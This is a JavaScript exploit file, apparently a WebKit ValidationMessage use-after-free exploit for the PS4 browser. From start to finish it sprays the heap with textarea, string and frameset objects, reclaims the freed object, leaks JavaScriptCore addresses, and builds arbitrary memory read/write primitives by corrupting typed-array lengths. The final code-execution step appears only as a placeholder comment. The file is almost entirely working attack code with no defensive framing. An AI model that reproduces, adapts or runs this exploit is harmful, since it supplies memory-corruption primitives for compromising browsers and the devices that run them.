const OFFSET_ELEMENT_REFCOUNT =0x10;
const OFFSET_JSAB_VIEW_VECTOR =0x10;
const OFFSET_JSAB_VIEW_LENGTH =0x18;
const OFFSET_LENGTH_STRINGIMPL =0x04;
const OFFSET_HTMLELEMENT_REFCOUNT =0x14;
const LENGTH_ARRAYBUFFER =0x8;
const LENGTH_STRINGIMPL =0x14;
const LENGTH_JSVIEW =0x20;
const LENGTH_VALIDATION_MESSAGE =0x30;
const LENGTH_TIMER =0x48;
const LENGTH_HTMLTEXTAREA =0xd8;
const SPRAY_ELEM_SIZE =0x6000;
const SPRAY_STRINGIMPL =0x1000;
const NB_FRAMES =0xfa0;
const NB_REUSE =0x8000;
var g_arr_ab_1 =[];
var g_arr_ab_2 =[];
var g_arr_ab_3 =[];
var g_frames =[];
var g_relative_read = null;
var g_relative_rw = null;
var g_ab_slave = null;
var g_ab_index = null;
var g_timer_leak = null;
var g_jsview_leak = null;
var g_message_heading_leak = null;
var g_message_body_leak = null;
var g_obj_str ={};
var g_rows1 ='1px,'.repeat(LENGTH_VALIDATION_MESSAGE /8-2)+"1px";
var g_rows2 ='2px,'.repeat(LENGTH_VALIDATION_MESSAGE /8-2)+"2px";
var g_round =1;
var g_input = null;
var guess_htmltextarea_addr = new Int64("0x2070a00d8");/* Executed after deleteBubbleTree */
function setupRW(){/* Now the m_length of the JSArrayBufferView should be 0xffffff01*/for(let i =0; i < g_arr_ab_3.length; i++){if(g_arr_ab_3[i].length >0xff){
g_relative_rw = g_arr_ab_3[i];
debug_log("[+] Succesfully got a relative R/W");break;}}if(g_relative_rw === null)
die("[!] Failed to setup a relative R/W primitive");
debug_log("[+] Setting up arbitrary R/W");/* Retrieving the ArrayBuffer address using the relative read */
let diff = g_jsview_leak.sub(g_timer_leak).low32()- LENGTH_STRINGIMPL +1;
let ab_addr = new Int64(str2array(g_relative_read,8, diff + OFFSET_JSAB_VIEW_VECTOR));/* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */
let ab_index = g_jsview_leak.sub(ab_addr).low32();if(g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH]=== LENGTH_ARRAYBUFFER)
g_ab_index = ab_index + LENGTH_JSVIEW;else
g_ab_index = ab_index - LENGTH_JSVIEW;/* Overding the length of one JSArrayBufferView with a known value */
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH]=0x41;/* Looking for the slave JSArrayBufferView */for(let i =0; i < g_arr_ab_3.length; i++){if(g_arr_ab_3[i].length ===0x41){
g_ab_slave = g_arr_ab_3[i];
g_arr_ab_3 = null;break;}}if(g_ab_slave === null)
die("[!] Didn't found the slave JSArrayBufferView");/* Extending the JSArrayBufferView length */
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH]=0xff;
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH +1]=0xff;
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH +2]=0xff;
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH +3]=0xff;
debug_log("[+] Testing arbitrary R/W");
let saved_vtable = read64(guess_htmltextarea_addr);
write64(guess_htmltextarea_addr, new Int64("0x4141414141414141"));if(!read64(guess_htmltextarea_addr).equals("0x4141414141414141"))
die("[!] Failed to setup arbitrary R/W primitive");
debug_log("[+] Succesfully got arbitrary R/W!");/* Restore the overidden vtable pointer */
write64(guess_htmltextarea_addr, saved_vtable);/* Cleanup memory */
cleanup();/* Getting code execution *//*...*/}
function read(addr, length){for(let i =0; i <8; i++)
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i]= addr.byteAt(i);
let arr =[];for(let i =0; i < length; i++)
arr.push(g_ab_slave[i]);return arr;}
function read64(addr){return new Int64(read(addr,8));}
function write(addr, data){for(let i =0; i <8; i++)
g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i]= addr.byteAt(i);for(let i =0; i < data.length; i++)
g_ab_slave[i]= data[i];}
function write64(addr, data){
write(addr, data.bytes());}
function cleanup(){
select1.remove();
select1 = null;
input1.remove();
input1 = null;
input2.remove();
input2 = null;
input3.remove();
input3 = null;
div1.remove();
div1 = null;
g_input = null;
g_rows1 = null;
g_rows2 = null;
g_frames = null;}/** Executed after buildBubbleTree
*and before deleteBubbleTree
*/
function confuseTargetObjRound2(){if(findTargetObj()=== false)
die("[!] Failed to reuse target obj.");
g_fake_validation_message[4]= g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH +5- OFFSET_HTMLELEMENT_REFCOUNT).asDouble();
setTimeout(setupRW,6000);}/* Executed after deleteBubbleTree */
function leakJSC(){
debug_log("[+] Looking for the smashed StringImpl...");
var arr_str = Object.getOwnPropertyNames(g_obj_str);/* Looking for the smashed string */for(let i = arr_str.length -1; i >0; i--){if(arr_str[i].length >0xff){
debug_log("[+] StringImpl corrupted successfully");
g_relative_read = arr_str[i];
g_obj_str = null;break;}}if(g_relative_read === null)
die("[!] Failed to setup a relative read primitive");
debug_log("[+] Got a relative read");
let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER);/* Spraying JSView */
let tmp =[];for(let i =0; i <0x10000; i++){/* The last allocated are more likely to be allocated after our relative read */if(i >=0xfc00)
g_arr_ab_3.push(new Uint8Array(ab));else
tmp.push(new Uint8Array(ab));}
tmp = null;/** Force JSC ref on FastMalloc Heap
* https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151*/
var props =[];for(var i =0; i <0x400; i++){
props.push({ value:0x42424242});
props.push({ value: g_arr_ab_3[i]});}/**/!\
* This part must avoid as much as possible fastMalloc allocation
* to avoid re-using the targeted object*/!\
*//* Use relative read to find our JSC obj *//* We want a JSView that is allocated after our relative read */while(g_jsview_leak === null){
Object.defineProperties({}, props);for(let i =0; i <0x800000; i++){
var v = undefined;if(g_relative_read.charCodeAt(i)===0x42&&
g_relative_read.charCodeAt(i +0x01)===0x42&&
g_relative_read.charCodeAt(i +0x02)===0x42&&
g_relative_read.charCodeAt(i +0x03)===0x42){if(g_relative_read.charCodeAt(i +0x08)===0x00&&
g_relative_read.charCodeAt(i +0x0f)===0x00&&
g_relative_read.charCodeAt(i +0x10)===0x00&&
g_relative_read.charCodeAt(i +0x17)===0x00&&
g_relative_read.charCodeAt(i +0x18)===0x0e&&
g_relative_read.charCodeAt(i +0x1f)===0x00&&
g_relative_read.charCodeAt(i +0x28)===0x00&&
g_relative_read.charCodeAt(i +0x2f)===0x00&&
g_relative_read.charCodeAt(i +0x30)===0x00&&
g_relative_read.charCodeAt(i +0x37)===0x00&&
g_relative_read.charCodeAt(i +0x38)===0x0e&&
g_relative_read.charCodeAt(i +0x3f)===0x00)
v = new Int64(str2array(g_relative_read,8, i +0x20));elseif(g_relative_read.charCodeAt(i +0x10)===0x42&&
g_relative_read.charCodeAt(i +0x11)===0x42&&
g_relative_read.charCodeAt(i +0x12)===0x42&&
g_relative_read.charCodeAt(i +0x13)===0x42)
v = new Int64(str2array(g_relative_read,8, i +8));}if(v !== undefined && v.greater(g_timer_leak)&& v.sub(g_timer_leak).hi32()===0x0){
g_jsview_leak = v;
props = null;break;}}}/**/!\
* Critical part ended-up here
*/!\
*/
debug_log("[+] JSArrayBufferView: "+ g_jsview_leak);/* Run the exploit again */
prepareUAF();}/** Executed after buildBubbleTree
*and before deleteBubbleTree
*/
function confuseTargetObjRound1(){/* Force allocation of StringImpl obj. beyond Timer address */
sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL *2);/* Checking for leaked data */if(findTargetObj()=== false)
die("[!] Failed to reuse target obj.");
dumpTargetObj();
g_fake_validation_message[4]= g_timer_leak.add(LENGTH_TIMER *8+ OFFSET_LENGTH_STRINGIMPL +1- OFFSET_ELEMENT_REFCOUNT).asDouble();/** The timeout must be > 5s because deleteBubbleTree is scheduled to run in* the next 5s
*/
setTimeout(leakJSC,6000);}
function handle2(){/* focus elsewhere */
input2.focus();}
function reuseTargetObj(){/* Delete ValidationMessage instance */
document.body.appendChild(g_input);/** Free ValidationMessage neighboors.* SmallLine is freed -> SmallPage is cached
*/for(let i = NB_FRAMES /2-0x10; i < NB_FRAMES /2+0x10; i++)
g_frames[i].setAttribute("rows",',');/* Get back target object*/for(let i =0; i < NB_REUSE; i++){
let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE);
let view = new Float64Array(ab);
view[0]= guess_htmltextarea_addr.asDouble();// m_element
view[3]= guess_htmltextarea_addr.asDouble();// m_bubble
g_arr_ab_1.push(view);}if(g_round ==1){/** Spray a couple of StringImpl obj. prior to Timer allocation
* This will force Timer allocation on same SmallPage as our Strings
*/
sprayStringImpl(0, SPRAY_STRINGIMPL);
g_frames =[];
g_round +=1;
g_input = input3;
setTimeout(confuseTargetObjRound1,10);}else{
setTimeout(confuseTargetObjRound2,10);}}
function dumpTargetObj(){
debug_log("[+] m_timer: "+ g_timer_leak);
debug_log("[+] m_messageHeading: "+ g_message_heading_leak);
debug_log("[+] m_messageBody: "+ g_message_body_leak);}
function findTargetObj(){for(let i =0; i < g_arr_ab_1.length; i++){if(!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)){
debug_log("[+] Found fake ValidationMessage");if(g_round ===2){
g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);
g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);
g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);
g_round++;}
g_fake_validation_message = g_arr_ab_1[i];
g_arr_ab_1 =[];return true;}}return false;}
function prepareUAF(){
g_input.setCustomValidity("ps4");for(let i =0; i < NB_FRAMES; i++){
var element = document.createElement("frameset");
g_frames.push(element);}
g_input.reportValidity();
var div = document.createElement("div");
document.body.appendChild(div);
div.appendChild(g_input);/* First half spray */for(let i =0; i < NB_FRAMES /2; i++)
g_frames[i].setAttribute("rows", g_rows1);/* Instantiate target obj */
g_input.reportValidity();/*...and the second half */for(let i = NB_FRAMES /2; i < NB_FRAMES; i++)
g_frames[i].setAttribute("rows", g_rows2);
g_input.setAttribute("onfocus","reuseTargetObj()");
g_input.autofocus = true;}/* HTMLElement spray */
function sprayHTMLTextArea(){
debug_log("[+] Spraying HTMLTextareaElement ...");
let textarea_div_elem = document.createElement("div");
document.body.appendChild(textarea_div_elem);
textarea_div_elem.id="div1";
var element = document.createElement("textarea");/* Add a style to avoid textarea display */
element.style.cssText ='display:block-inline;height:1px;width:1px;visibility:hidden;';/** This spray isnot perfect,"element.cloneNode" will trigger a fastMalloc
* allocation of the node attributes and an IsoHeap allocation of the
* Element. The virtual page layout will look something like that:*[IsoHeap][fastMalloc][IsoHeap][fastMalloc][IsoHeap][...]*/for(let i =0; i < SPRAY_ELEM_SIZE; i++)
textarea_div_elem.appendChild(element.cloneNode());}/* StringImpl Spray */
function sprayStringImpl(start, end){for(let i = start; i < end; i++){
let s = new String("A".repeat(LENGTH_TIMER - LENGTH_STRINGIMPL -5)+ i.toString().padStart(5,"0"));
g_obj_str[s]=0x1337;}}
function go(){/* Init spray */
sprayHTMLTextArea();
g_input = input1;/* Shape heap layout for obj. reuse */
prepareUAF();}